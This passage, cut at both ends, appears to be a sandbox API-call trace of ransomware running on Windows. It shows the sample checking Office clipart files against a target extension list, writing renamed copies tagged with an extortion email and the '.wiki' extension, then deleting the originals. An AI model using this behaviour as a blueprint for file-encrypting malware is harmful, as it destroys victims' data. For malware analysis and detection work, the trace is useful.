liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.576] SetEndOfFile (hFile=0x200) returned 1 [0196.577] CloseHandle (hObject=0x200) returned 1 [0196.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg")) returned 1 [0196.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.578] lstrlenW (lpString=".doc") returned 4 [0196.578] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.578] lstrlenW (lpString=".docx") returned 5 [0196.578] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0196.578] lstrlenW (lpString=".pdf") returned 4 [0196.578] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.578] lstrlenW (lpString=".xls") returned 4 [0196.578] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.578] lstrlenW (lpString=".xlsx") returned 5 [0196.578] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0196.578] lstrlenW (lpString=".ppt") returned 4 [0196.578] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.578] lstrlenW (lpString=".zip") returned 4 [0196.578] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.578] lstrlenW (lpString=".rar") returned 4 [0196.578] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.578] lstrlenW (lpString=".bz2") returned 4 [0196.578] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.579] lstrlenW (lpString=".7z") returned 3 [0196.579] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.579] lstrlenW (lpString=".dbf") returned 4 [0196.579] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.579] lstrlenW (lpString=".1cd") returned 4 [0196.579] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.579] lstrlenW (lpString=".jpg") returned 4 [0196.579] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.579] lstrlenW (lpString=".doc") returned 4 [0196.579] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.579] lstrlenW (lpString=".docx") returned 5 [0196.579] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0196.579] lstrlenW (lpString=".pdf") returned 4 [0196.579] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.579] lstrlenW (lpString=".xls") returned 4 [0196.579] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.579] lstrlenW (lpString=".xlsx") returned 5 [0196.579] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0196.579] lstrlenW (lpString=".ppt") returned 4 [0196.579] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.579] lstrlenW (lpString=".zip") returned 4 [0196.579] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.579] lstrlenW (lpString=".rar") returned 4 [0196.579] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.580] lstrlenW (lpString=".bz2") returned 4 [0196.580] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.580] lstrlenW (lpString=".7z") returned 3 [0196.580] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.580] lstrlenW (lpString=".dbf") returned 4 [0196.580] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.580] lstrlenW (lpString=".1cd") returned 4 [0196.580] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG") returned 63 [0196.580] lstrlenW (lpString=".jpg") returned 4 [0196.580] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.672] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.672] lstrlenW (lpString="J0145895.JPG") returned 12 [0196.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.672] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=33958) returned 1 [0196.673] CloseHandle (hObject=0x1e4) returned 1 [0196.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 0x20 [0196.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.673] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.673] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.673] GetLastError () returned 0x0 [0196.674] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x84a6, lpOverlapped=0x0) returned 1 [0196.687] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x84b0, lpOverlapped=0x0) returned 1 [0196.689] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.689] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.689] SetEndOfFile (hFile=0x200) returned 1 [0196.689] CloseHandle (hObject=0x200) returned 1 [0196.689] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.689] SetEndOfFile (hFile=0x1e4) returned 1 [0196.690] CloseHandle (hObject=0x1e4) returned 1 [0196.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg")) returned 1 [0196.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.690] lstrlenW (lpString=".doc") returned 4 [0196.690] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.691] lstrlenW (lpString=".docx") returned 5 [0196.691] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0196.691] lstrlenW (lpString=".pdf") returned 4 [0196.691] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.691] lstrlenW (lpString=".xls") returned 4 [0196.691] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.691] lstrlenW (lpString=".xlsx") returned 5 [0196.691] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0196.691] lstrlenW (lpString=".ppt") returned 4 [0196.691] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.691] lstrlenW (lpString=".zip") returned 4 [0196.691] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.691] lstrlenW (lpString=".rar") returned 4 [0196.691] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.691] lstrlenW (lpString=".bz2") returned 4 [0196.691] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.691] lstrlenW (lpString=".7z") returned 3 [0196.691] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.691] lstrlenW (lpString=".dbf") returned 4 [0196.691] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.691] lstrlenW (lpString=".1cd") returned 4 [0196.691] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.691] lstrlenW (lpString=".jpg") returned 4 [0196.691] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.692] lstrlenW (lpString=".doc") returned 4 [0196.692] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.692] lstrlenW (lpString=".docx") returned 5 [0196.692] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0196.692] lstrlenW (lpString=".pdf") returned 4 [0196.692] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.692] lstrlenW (lpString=".xls") returned 4 [0196.692] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.692] lstrlenW (lpString=".xlsx") returned 5 [0196.692] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0196.692] lstrlenW (lpString=".ppt") returned 4 [0196.692] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.692] lstrlenW (lpString=".zip") returned 4 [0196.692] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.692] lstrlenW (lpString=".rar") returned 4 [0196.692] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.692] lstrlenW (lpString=".bz2") returned 4 [0196.692] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.692] lstrlenW (lpString=".7z") returned 3 [0196.692] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.692] lstrlenW (lpString=".dbf") returned 4 [0196.692] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.692] lstrlenW (lpString=".1cd") returned 4 [0196.692] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0196.692] lstrlenW (lpString=".jpg") returned 4 [0196.693] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.693] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.693] lstrlenW (lpString="J0148309.JPG") returned 12 [0196.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.693] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=43674) returned 1 [0196.693] CloseHandle (hObject=0x1e4) returned 1 [0196.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 0x20 [0196.693] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.694] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.694] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.694] GetLastError () returned 0x0 [0196.694] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xaa9a, lpOverlapped=0x0) returned 1 [0196.718] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xaaa0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xaaa0, lpOverlapped=0x0) returned 1 [0196.719] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.719] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.719] SetEndOfFile (hFile=0x200) returned 1 [0196.720] CloseHandle (hObject=0x200) returned 1 [0196.720] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.720] SetEndOfFile (hFile=0x1e4) returned 1 [0196.721] CloseHandle (hObject=0x1e4) returned 1 [0196.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.721] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg")) returned 1 [0196.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.721] lstrlenW (lpString=".doc") returned 4 [0196.721] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.721] lstrlenW (lpString=".docx") returned 5 [0196.721] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0196.721] lstrlenW (lpString=".pdf") returned 4 [0196.721] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.721] lstrlenW (lpString=".xls") returned 4 [0196.721] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.721] lstrlenW (lpString=".xlsx") returned 5 [0196.721] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0196.721] lstrlenW (lpString=".ppt") returned 4 [0196.721] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.722] lstrlenW (lpString=".zip") returned 4 [0196.722] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.722] lstrlenW (lpString=".rar") returned 4 [0196.722] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.722] lstrlenW (lpString=".bz2") returned 4 [0196.722] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.722] lstrlenW (lpString=".7z") returned 3 [0196.722] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.722] lstrlenW (lpString=".dbf") returned 4 [0196.722] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.722] lstrlenW (lpString=".1cd") returned 4 [0196.722] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.722] lstrlenW (lpString=".jpg") returned 4 [0196.722] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.722] lstrlenW (lpString=".doc") returned 4 [0196.722] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0196.722] lstrlenW (lpString=".docx") returned 5 [0196.722] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0196.722] lstrlenW (lpString=".pdf") returned 4 [0196.722] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0196.722] lstrlenW (lpString=".xls") returned 4 [0196.722] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0196.722] lstrlenW (lpString=".xlsx") returned 5 [0196.722] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0196.723] lstrlenW (lpString=".ppt") returned 4 [0196.723] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0196.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.723] lstrlenW (lpString=".zip") returned 4 [0196.723] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0196.723] lstrlenW (lpString=".rar") returned 4 [0196.723] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0196.723] lstrlenW (lpString=".bz2") returned 4 [0196.723] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0196.723] lstrlenW (lpString=".7z") returned 3 [0196.723] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0196.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.723] lstrlenW (lpString=".dbf") returned 4 [0196.723] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0196.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.723] lstrlenW (lpString=".1cd") returned 4 [0196.723] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0196.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG") returned 63 [0196.723] lstrlenW (lpString=".jpg") returned 4 [0196.723] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0196.723] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0196.723] lstrlenW (lpString="J0149018.JPG") returned 12 [0196.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.724] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=27393) returned 1 [0196.724] CloseHandle (hObject=0x1e4) returned 1 [0196.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg")) returned 0x20 [0196.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0196.724] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.724] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.725] GetLastError () returned 0x0 [0196.725] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x6b01, lpOverlapped=0x0) returned 1 [0196.749] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0196.750] ReadFile (in: hFile=0x1e4, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.750] WriteFile (in: hFile=0x200, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.750] SetEndOfFile (hFile=0x200) returned 1 [0196.750] CloseHandle (hObject=0x200) returned 1 [0196.750] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.750] SetEndOfFile (hFile=0x1e4) returned 1 [0196.751] CloseHandle (hObject=0x1e4) returned 1 [0196.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.752] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg")) returned 1 [0196.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0196.752] lstrlenW (lpString="C:\\Program Files\\Microsoft 